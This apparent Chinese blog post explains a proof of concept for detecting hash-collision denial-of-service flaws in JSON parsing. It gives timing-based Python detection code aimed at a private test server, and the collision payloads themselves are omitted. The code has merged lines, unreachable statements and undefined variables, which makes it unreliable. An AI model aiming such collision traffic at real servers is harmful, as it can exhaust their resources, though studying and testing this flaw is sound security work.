hash碰撞POC
hash碰撞POC:
该类型漏洞POC编写过程难点有二:
一. hash碰撞数据的产生或收集
二. 使用responseTime来判断是否存在hash,如何精确的得到
三. 如何估算出服务器的处理/响应时间,以用来判断是否存在漏洞。
github能找到hash碰撞的POC,使用python编写的
该POC生成hashcollision的算法思想:
1. 取一个随机数n,由n生成 k维的笛卡尔积
可以理解为k维的数组,如array[AA][BB][CC],计算后为“AABBCC”
2. 将所有数组的值取出来,设定hash算法,计算每个值在该hash算法下的hash值
3. 随机取一个数的hash值,再取出其他与该hash值相同的数,组成hash碰撞的payload
将payload放入POST数据中,使用socket发包,由发包后和接受完整数据后的时间差得出响应时间。
该POC的弊端在于,如果只是做检测,没必要每次都生成payload,只需要生成一次payload,就可以多次测试了。
另一个难点,如何准确的判断responseTime。
这一点以burpsuite的时间为准
以自己搭建的内网测试环境,代码为
<?php
$startTime = microtime(true);
$rest = file_get_contents("php://input");
$a=json_decode($rest,true);
?>
burpsuite中,不发送POST数据时间为10ms左右,发送正常的json数据时间为 100ms左右
而自己编写的代码,发送正常json数据数据时
1. 计算requests前后的时间差,会有很大的误差,发送数据的时间和接受的时间都会计入在内。而发送的payload较大,通常达到1M,所以时间上有误差。得出时间1300ms左右
2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少,为800ms左右
3. github上的POC,使用socket发送数据,截取recv前后的时间差, 时间在1200ms左右。
很难接近burpsuite得出的时间,我想主要是request将发送数据的时间计算在内了吧。
由此,可以估算发送数据的时间
time=(发送正常json的时间-不发送数据的时间) ,再 *4/5 (*4/5是估算去除掉服务器处理正常json时的处理时间)
设置判断存在碰撞漏洞的时间线 limit为
limit=发送正常json数据的时间-time(发送数据的时间)
在每一个payload发送的时间上减去 n/m*time()按发送数据的大小比例估算出的发送数据的时间)
如果超过划定的时间线,则可能为hash碰撞漏洞
经测试,可判断出自己搭建的环境上的hash碰撞漏洞。
测试仍然受网络速度影响。
存在许多瑕疵,仍然可以改进。
比如增加数据量,让服务器处理碰撞数据的时间倍增,则发送数据的时间比重缩小,影响降低。
最后贴上测试代码,其中的payload明天再贴上
payload数据还可以改进增加。
#coding:utf-8
import time
import requests
import jsonToString
import pycurl import thread class Test:
def __init__(self):
self.contents = ''
def body_callback(self,buf):
self.contents = self.contents + buf def timeOfRequest(url,data):
start=time.time()
#print data
try:
q=requests.post(url,data)
#print q.content
return q.elapsed.total_seconds()
except:
pass
end=time.time()
return 1000000
#return (end-start) def test_gzip(input_url,data):
t = Test()
#gzip_test = file("gzip_test.txt", 'w')
c = pycurl.Curl()
c.setopt(pycurl.WRITEFUNCTION,t.body_callback)
c.setopt(pycurl.ENCODING, 'gzip')
c.setopt(pycurl.URL,input_url)
c.setopt(pycurl.POSTFIELDS, data)
c.perform()
http_total_time = c.getinfo(pycurl.TOTAL_TIME)
return http_total_time
http_size = c.getinfo(pycurl.SIZE_DOWNLOAD)
print 'conn_time pre_tran start_tran total_time'
print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time) #print timeOfRequest(url,"normal")
def control(url,string,data):
#print string
return test_gzip(url,data)
#time=timeOfRequest(url,data)
#print time
#if time > 26:
# print "Probably have hashcollistion" def show(times,limit):
for name in times:
if times[name]>limit:
print "Probably have HashCollision==>",
print name+":",
print times[name] def check(url):
nulldata=open("null.txt","r").readline()
normaldata=open("normal.txt","r").readline()
phpjsondata=open("phpjson.txt","r").readline()
javajsondata=open("javajson.txt","r").readline()
phpdata=jsonToString.jsonToString(phpjsondata)
javadata=jsonToString.jsonToString(javajsondata) times={} print "NO THREAD"
times["null"]=control(url,"null",nulldata)
time.sleep(1)
times["normal"]=control(url,"normal",normaldata) #利用normal,算出发送大量数据的时间,所占比例约为 (normal-null)*4/5
time.sleep(1) trantime=(times["normal"]-times["null"])*4/5
base=times["normal"]-trantime
limit=base*13
print limit times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime
times["php"]=control(url,"php",phpdata)-1.36*trantime
times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime
times["java"]=control(url,"java",javadata)-2.3*trantime show(times,limit) if __name__ == '__main__':
url="http://10.252.223.15/test.php"
check(url)
# while 1:
# pass
hash碰撞POC的更多相关文章
- HashMap之Hash碰撞冲突解决方案及未来改进
说明:参考网上的两篇文章做了简单的总结,以备后查(http://blogread.cn/it/article/7191?f=wb ,http://it.deepinmind.com/%E6%80%A ...
- 解决Hash碰撞冲突方法总结
Hash碰撞冲突 我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰 ...
- [ 高危 ] hash碰撞DOS漏洞
这是一个很神奇的漏洞 hotel.meituan.com订单页面,POST提交的是一串json数据.当把这串数据换成json碰撞数据 后,服务器原本 100毫秒可以响应的数据包,变成需要30秒才能响应 ...
- 从头认识java-15.7 Map(4)-介绍HashMap的工作原理-hash碰撞(常常作为面试题)
这一章节我们来讨论一下hash碰撞. 1.什么是hash碰撞? 就是两个对象的key的hashcode是一样的,这个时候怎么get他的value呢? 答案是通过equals遍历table那个位置上面的 ...
- Python简单的CTF题目hash碰撞小脚本
Python简单的CTF题目hash碰撞小脚本 import hashlib for num in range(10000,9999999999): res = hashlib.sha1(str(nu ...
- 解决Hash碰撞冲突的方法
Hash碰撞冲突 我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰 ...
- HashMap为什么线程不安全(hash碰撞与扩容导致)
一直以来都知道HashMap是线程不安全的,但是到底为什么线程不安全,在多线程操作情况下什么时候线程不安全? 让我们先来了解一下HashMap的底层存储结构,HashMap底层是一个Entry数组,一 ...
- [转]Hash碰撞冲突解决方法总结
我们知道,对象Hash的前提是实现equals()和hashCode()两个方法,那么HashCode()的作用就是保证对象返回唯一hash值,但当两个对象计算值一样时,这就发生了碰撞冲突.如下将介绍 ...
- HashMap之Hash碰撞源码解析
转自:https://blog.csdn.net/luo_da/article/details/77507315 https://www.cnblogs.com/tongxuping/p/827619 ...
随机推荐
- FTP服务器配置和管理
一:ftp 简介 1:ftp服务: internet 是一个非常复杂额计算机环境,其中有pc/mac/小型机/大型机等.而在这些计算机上运行的操作系统也是五花八门,有 unix.Linux.微软的wi ...
- Confluence 6 缓存状态
Confluence 为系统的内部缓存提供了缓存的状态以便于你对缓存的大小的命中率进行跟踪,在必要的情况下,你可以对缓存进行调整,让缓存能够更好的满足你的使用需求.请查看 Performance Tu ...
- Confluence 6 注册单一小工具
如果你不能订阅一个应用的小工具,你需要将小工具一个一个的添加进来.针对网站不支持小工具订阅和你的应用和你的 Confluence 不能建立信任连接的情况,你就只能这样添加了. 首先你需要获得小工具的 ...
- js之DOM对象三
一.JS中for循环遍历测试 for循环遍历有两种 第一种:是有条件的那种,例如 for(var i = 0;i<ele.length;i++){} 第二种:for (var i in ...
- 1010:Tempter of the Bone
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1010 Problem Description The doggie found a bone in a ...
- LeetCode(99):恢复二叉搜索树
Hard! 题目描述: 二叉搜索树中的两个节点被错误地交换. 请在不改变其结构的情况下,恢复这棵树. 示例 1: 输入: [1,3,null,null,2] 1 / 3 \ 2 输出 ...
- Anaconda创建caffe和tensorflow共存环境
一.前言 安装环境: Anaconda Ubuntu 二.安装步骤 我们分几步进行,anconda的安装和使用方法就不讲解了.我们直接安装caffe和tensorflow. 1.创建虚拟环境 我们先创 ...
- javaSocket笔记
1.查看电脑当前开放链接的端口号 使用netstat命令 netstat -nao 可以查看PID进程号 netstat -nab 获取进程的详细信息 2.类创建的不同对象,引用是不同的.也就是说同一 ...
- cf1051d 简单的状态压缩dp
/* 给定一个二行n列的格子,在里面填黑白色,要求通过黑白色将格子分为k块 请问有多少种填色方式 dp[j][k][0,1,2,3] 填到第j列,有k块,第j列的颜色, */ #include< ...
- Axure-----三级下拉菜单的具体实现过程
********三级下拉菜单的动画效果:********** 1.选中三级菜单将其转换为动态面板,命名为treePanel,并隐藏. 2.选中二级菜单添加交互效果:[切换可见性],勾选treePane ...